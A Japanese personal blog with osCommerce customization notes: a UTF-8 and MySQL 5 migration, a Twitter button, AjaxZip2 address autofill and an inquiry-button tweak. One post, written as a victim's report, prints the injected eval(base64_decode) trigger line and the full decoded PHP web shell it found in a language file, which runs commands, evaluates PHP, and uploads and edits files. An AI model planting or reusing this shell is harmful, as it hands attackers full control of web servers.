ラベル oscommerce、カスタム の投稿を表示しています。 すべての投稿を表示
ラベル oscommerce、カスタム の投稿を表示しています。 すべての投稿を表示

2010/02/02

oscommerce - EUCからUTF-8に移行

oscommerceはデフォルトでEUC推奨なので全てEUCだ。
データベースにMySql4を使っているので、MySql5に移さないと使えない。
作業的にはこんな順序かな?

oscommerceのファイルバックアップ

データベースのバックアップ

スクリプトの修正Mysql4=>MySql5
../catalog/default.php
../catalog/advanced_search_result.php


言語ファイルのCHARSETをUTF化と全ての書類のUTF化
(書類の文字コードもUTF-8のLF改行で統一)
../catalog/includes/languages/japanese.php

サーバー設定をlocalhostからMySql5のサーバーに変更(UTF-8)

バックアップしたsqlファイルを開きデータを確認。日本語等が文字化けしてsyntaxエラーを引き起こすのですが、出たら出たでエラーレポートを見てエラーの周辺の行をチェックして修正または削除。¥r¥nの削除または『¥』を『\』(バックスラッシュ)に置き換え

DBをドロップしてMySQL5へ切り替え(照合順序はutf_general_ci)
DBにUTFのsqlファイルをインポート15MBまでならphpMyadminでGO

修正したファイルをアップロード

カテゴリーが文字化けする場合はキャッシュが効いているので、管理画面より
[各種ツール]=>[キャッシュコントロール]=>カテゴリーボックスのキャッシュブロックを削除

フッターの文字化けは大概日付。
../catalog/includes/languages/japanese.phpの以下の箇所
define('DATE_FORMAT_LONG', '%Y年%m月%d日(%a)'); // this is used for strftime()
これを
define('DATE_FORMAT_LONG', '%Y年 %m月 %d日'); // this is used for strftime()
こう(半角開けただけ)

OscommerceにTwitterボタン

まずtwitterで呟くからには文字コードがutf-8でなければならない。

oscommerceの文字コードはEUC-JP
UTF-8に移行する方法は後にして、、


投稿するにはこうする
http://twitter.com/home?status=RT:@ユーザー 書き込みたい事

なので書き込みたい事に商品タイトルを入れてみる

echo "<a href=\"" . "http://twitter.com/home?status=RT:@ユーザー " . $product_info['products_name'] . "\" target=_blank>\n";?>

リンクが欲しいのでそのページのURLを取得する

そしてページのURLを組み込んでボタンを作ってみる
たとえばtwitter.gifなんてしてみて、、
../catalog/includes/language/japanese/images/button/
にアップロードして次のファイルを編集
../catalog/includes/language/japanese.phpに
define('IMAGE_BUTTON_TWEET', '呟く');
と一行挿入してアップロード
で、以下のコードをproduct_info.phpに貼付けて完成
<!-- Twiter Button BEGIN -->
<?php
$url = $_SERVER['REQUEST_URI'];
echo "<a href=\"" . "http://twitter.com/home?status=RT:@ユーザー " . $product_info['products_name'] . " http://dubfactory.com" . $url . "/" target=_blank>\n";?><?php echo tep_image_button('button_twitter.gif', IMAGE_BUTTON_TWEET); ?></a>
<!-- Twitter Button END -->

2010/01/26

base64_decode - セキュリティ強化

なにげに言語ファイルを覗いていると、言語ファイルの冒頭に
<?php if(isset($_GET['lave']) || isset($HTTP_GET_VARS['lave'])) eval(base64_decode('ごにょごにょ')?>

なるものを発見

base64_encorderで内容をエンコードしてみると以下のようになる。

@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');

$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();

$pw_pls="<form method=post><input type=text name=pw></form>";

if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);

$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

$work_dir = getcwd();
if (strpos($work_dir,"??")!==false) $work_dir=str_replace("??","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;

if (is_dir($cd)) chdir($cd);

$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;

if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$uploaddir = ereg_replace('/+', '/', $cd."/");
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}

if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}

if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit?n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {

if (!$safemode)
{
if ($os=='win')
{

$cmd = "dir ".str_replace("/","??",$cd);
$retval = magic_execute($cmd);
}
else
{
$cmd = "ls -la ?"$cd?"";
$retval = magic_execute($cmd);
}
}

if (empty($retval))
{
$dir=$cd;
if($curdir = @opendir($dir)) {
while($file = readdir($curdir)) {
if($file != '.' && $file != '..') {
$srcfile = $dir . '/' . $file;
if(is_file($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."?n";
else $retval .= "-- ".$file."?n";
} elseif(is_dir($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."?n";
else $retval .= "d- ".$file."?n";
}
}
}
closedir($curdir);
} else $retval = "Cant open directory?n";
}


}

$id_exec = "cant get uid,gid";

if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}

echo '<HTML><BODY onload="document.getElementById(?'cdfocus?').focus();"><HR>';
echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
echo "<HR>";
if (isset($need_save_button)) echo "<FORM method=post>";
echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
if (isset($retval)) echo htmlspecialchars($retval);
echo '</TEXTAREA>';
if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
echo "<HR><FORM method=?"POST?">$pw";
echo "<table><tr><td>dir:</td><td width=?"100%?"><input type=?"text?" style=?"width:100%;?" id=?"cdfocus?" name=?"cd?" value=?"".htmlspecialchars($cd)."?"></td></tr>".
"<tr><td>run:</td><td><input type=?"text?" style=?"width:100%;?" name=?"run?" value=?"?"></td></tr>".
"<tr><td>edit:</td><td><input type=?"text?" style=?"width:100%;?" name=?"edit?" value=?"".htmlspecialchars($edit)."?"></td></tr>".
"</table>".
"<input type=?"submit?" value=?"OK?"></FORM>";

echo "<hr><form enctype=?"multipart/form-data?" method=?"post?">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=?"hidden?" name=?"MAX_FILE_SIZE?" value=?"15000000?" />upload: <input name=?"userfile?" type=?"file?" /><input type=?"submit?" value=?"upload?" /></form><hr>";
echo "<form method=post>$pw<textarea style=?"width:100%;height:100px;?" name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
echo "use module: <form method=post>$pw<input type='text' name='usemodule'>&nbsp;<input type=submit value='use'></form><hr>";
echo "</BODY></HTML>";

exit();


function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}

function magic_execute($cmd)
{
$res=false;
if (function_exists('exec'))
{
@exec($cmd,$res);
$res = join("?n",$res);
}
else
if (function_exists('shell_exec'))
$res = @shell_exec($cmd);
else
if (function_exists('system'))
{
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if (@is_resource($f = @popen($cmd,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}


どうも悪意のある書き込みなのでセキュリティーの修正をしなければ。。
本家の修正案を考慮して〜

やっておくべきこと

  • 管理フォルダのリネーム ◯簡単なのでこれから
    インジェクションアタック対策 ◯これも修正済み
    監視モニタの設置 ◯入れてみた
    IPトラップ ×いろいろ影響出そうなのでスルー
    管理フォルダのhtaccessでBASIC認証 ×いつでもできるしパスワードが増えるのは面倒
    クロスサイトスクリプトの修正 ◯割と簡単、効果あるかな?




  • とりあえずこんだけすりゃ大丈夫かな?

    2010/01/22

    oscommerceにAjaxZip2を実装

    通販で住所を登録するのが面倒なので、郵便番号を入力すると
    住所が自動で入力されるAjaxZip2を実装してみる。

    ダウンロードはこちら

    で肝心のoscommerceで住所を入力するところといえば
    ../catalog/create_account.phpなのですが
    項目のモジュールは../catalog/includes/account_details.phpですね

    まずはこの二つのファイルをバックアップ
    ダウンロードしたファイルを/catalogにアップロード
    簡単な所から書き換えるとcreate_account.phpのhead内に以下を追記

    <script src="ajaxzip2/prototype.js"></script>
    <script src="ajaxzip2/ajaxzip2.js" charset="UTF-8"></script>
    <script>AjaxZip2.JSONDATA = 'ajaxzip2/data';</script>


    次は../includes/modules/account_details.phpの145行目あたりに
    // postcode
    if ($is_read_only == true) {
    $a_value = $account['entry_postcode'];
    } elseif ($error) {
    if ($entry_post_code_error == true) {
    $a_value = tep_draw_input_field('postcode') . ' ' . ENTRY_POST_CODE_ERROR;
    } else {
    $a_value = $postcode . tep_draw_hidden_field('postcode');
    }
    } else {
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;
    こんなところがあるので
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;
    コレにkawa.netさんのマニュアルのようになる風に書き換え
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode'],'onKeyUp="AjaxZip2.zip2addr(this,\'state\',\'city\',null,\'addr\',\'street_address\');"') . ' ' . ENTRY_POST_CODE_TEXT;
    この二つのファイルをアップロードして完了!(5分かからんな)

    2007/07/23

    お問い合わせを簡略化

    oscommerceにレビューボタンというのがある、
    押すとレビューを書く事が出て来るわけだが、
    あんまり必要ないのでお問い合わせボタンにしてみた。

    実際使ってみると
    商品の何を質問しようとしたんだっけ?というか商品名はなんだっけ?
    ブラウザのバックボタンを押して商品ページに戻ってしまう。

    お問い合わせを押したら、フォームに商品名くらい出るようにしても
    良いんじゃないか?またはブランクで開くように設定するとか。

    お問い合わせボタンのソース
    $product_info['products_name'])) . "¥">¥n";?>button_ask_to_shop.gif', IMAGE_BUTTON_ASK); ?>

    これでなんとか商品名を挿入。